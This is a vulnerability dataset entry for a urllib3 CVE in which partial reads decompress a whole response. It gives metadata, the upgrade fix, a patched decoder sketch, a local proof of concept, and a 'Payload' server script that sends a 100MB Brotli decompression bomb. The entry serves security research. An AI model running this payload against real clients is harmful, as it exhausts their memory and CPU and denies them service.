VAITP Dataset

← Back to the dataset

CVE-2026-44432

urllib3 uncontrolled decompression on partial reads may lead to a DoS.

  • CVSS 8.9
  • CWE-409
  • Resource Management
  • Remote

urllib3 is an HTTP client library for Python. From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 2.7.0.

CVSS base score
8.9
Published
2026-05-13
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
urllib3
Fixed by upgrading
Yes

Solution

Upgrade urllib3 to version 2.7.0 or later.

Vulnerable code sample

#!/usr/bin/env python3
import urllib3
import brotli
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# This example requires the 'brotli' library to be installed:
# pip install brotli

# --- Vulnerable Client Configuration ---
# This client code simulates the logic described in the CVE.
# It uses two small `read()` calls, the second of which would trigger
# the vulnerability in an affected urllib3 version.

def vulnerable_client_action():
    """
    Connects to the server and makes a request that triggers the vulnerability.
    """
    # Wait a moment for the server to start
    time.sleep(1)
    print("[CLIENT] Initializing PoolManager...")
    http = urllib3.PoolManager()

    print("[CLIENT] Sending GET request with preload_content=False to stream the response.")
    # `preload_content=False` is crucial to enable streaming and partial reads.
    try:
        resp = http.request(
            "GET",
            "http://localhost:8080",
            preload_content=False,
            headers={"Accept-Encoding": "br"},
        )

        print(f"[CLIENT] Reading the first 10 bytes. This should be fast.")
        first_chunk = resp.read(amt=10)
        print(f"[CLIENT] Read first chunk (size: {len(first_chunk)} bytes).")

        print("\n[CLIENT] >>> TRIGGERING VULNERABILITY <<<")
        print("[CLIENT] Now reading the next 10 bytes.")
        print("[CLIENT] In a vulnerable version, this second 'read' call decompresses the ENTIRE remaining stream at once.")
        print("[CLIENT] This will cause massive memory allocation and CPU usage...")

        # THE VULNERABLE CALL:
        # According to the CVE description, this second read() on a brotli-compressed
        # stream would trigger the entire remaining response to be decompressed,
        # regardless of the small 'amt' parameter.
        second_chunk = resp.read(amt=10)

        print(f"[CLIENT] VULNERABLE OPERATION FINISHED. If the program is still running, the 'bomb' was processed.")
        print(f"[CLIENT] Read second chunk (size: {len(second_chunk)} bytes).")

        resp.release_conn()

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
        print("[CLIENT] This could be a MemoryError if the decompression bomb was too large.")


# --- Malicious Server Configuration ---
# This server sends a "decompression bomb": a small, highly-compressed file
# that expands to a very large size.

class DecompressionBombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("[SERVER] Received GET request.")
        
        # 1. Create the large, uncompressed payload (e.g., 200MB of zeros).
        # This is highly compressible.
        bomb_size = 200 * 1024 * 1024  # 200 MB
        uncompressed_payload = b'\0' * bomb_size
        print(f"[SERVER] Generated in-memory payload of {bomb_size / 1024 / 1024:.0f} MB.")

        # 2. Compress the payload with Brotli.
        compressed_payload = brotli.compress(uncompressed_payload)
        compressed_size = len(compressed_payload)
        print(f"[SERVER] Compressed payload size: {compressed_size / 1024:.2f} KB.")

        # 3. Send the HTTP response with the compressed payload.
        self.send_response(200)
        self.send_header("Content-Encoding", "br")
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(compressed_size))
        self.end_headers()
        self.wfile.write(compressed_payload)
        print("[SERVER] Sent compressed response to client.")


def run_server():
    server_address = ("", 8080)
    with HTTPServer(server_address, DecompressionBombHandler) as httpd:
        print("[SERVER] Starting HTTP server on port 8080...")
        httpd.serve_forever()


if __name__ == "__main__":
    # Run the server in a separate thread so it doesn't block the client
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()

    # Run the client code that demonstrates the vulnerability
    vulnerable_client_action()

    # The script will hang or crash on the second read if vulnerable and
    # system resources are exhausted. If it completes, the vulnerability
    # is not present or the 'bomb' was manageable.
    print("\n[MAIN] Client action complete. The script would have likely crashed or frozen if vulnerable.")
    # A real server would keep running, but we exit for this demo.

Patched code sample

import zlib

class FixedDecoder:
    """
    Represents urllib3's fixed internal decoders. The key is the `max_length`
    parameter, which prevents decompressing more data than necessary.
    """
    def __init__(self):
        self._decoder = zlib.decompressobj()

    def decompress(self, data: bytes, max_length: int = 0) -> bytes:
        """
        Decompresses data, but critically, respects the `max_length` to
        prevent excessive memory allocation from a "decompression bomb".

        A vulnerable implementation would effectively ignore `max_length` and
        decompress the entire input chunk at once.
        """
        # The core of the fix: passing a size limit to the underlying
        # decompressor. If `max_length` is 0, it means no limit.
        return self._decoder.decompress(data, max_length=max_length)


def fixed_http_response_read(
    decoder: FixedDecoder, compressed_data: bytes, amount_to_read: int
) -> bytes:
    """
    Represents the logic of the fixed `HTTPResponse.read(amt=N)`.

    It uses the decoder's `max_length` feature to ensure that only the
    portion of data requested by the user is decompressed.
    """
    # The vulnerable logic would have called decompress without a limit and
    # then sliced the (potentially huge) result, after already allocating
    # massive amounts of memory.
    #
    # The fixed logic passes the user's requested amount (`amount_to_read`)
    # as a `max_length` limit to the decompressor. This stops the
    # decompression process as soon as enough data has been produced,
    # mitigating the vulnerability.
    decompressed_data = decoder.decompress(
        data=compressed_data, max_length=amount_to_read
    )
    return decompressed_data

Payload

import http.server
import socketserver
import brotli

PORT = 8080

# Create a large payload of highly compressible data (e.g., 100MB of null bytes)
# This will be compressed into a very small package by Brotli.
DECOMPRESSED_PAYLOAD = b'\x00' * (100 * 1024 * 1024)

# Compress the payload using Brotli
COMPRESSED_PAYLOAD = brotli.compress(DECOMPRESSED_PAYLOAD, quality=1)

class MaliciousServerHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        # Set the Content-Encoding header to 'br' to indicate Brotli compression
        self.send_header('Content-Encoding', 'br')
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Length', str(len(COMPRESSED_PAYLOAD)))
        self.end_headers()
        # Send the small, compressed payload to the client
        self.wfile.write(COMPRESSED_PAYLOAD)

# Start the malicious server
with socketserver.TCPServer(("", PORT), MaliciousServerHandler) as httpd:
    httpd.serve_forever()

Cite this entry

@misc{vaitp:cve202644432,
  title        = {{urllib3 uncontrolled decompression on partial reads may lead to a DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44432},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44432/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::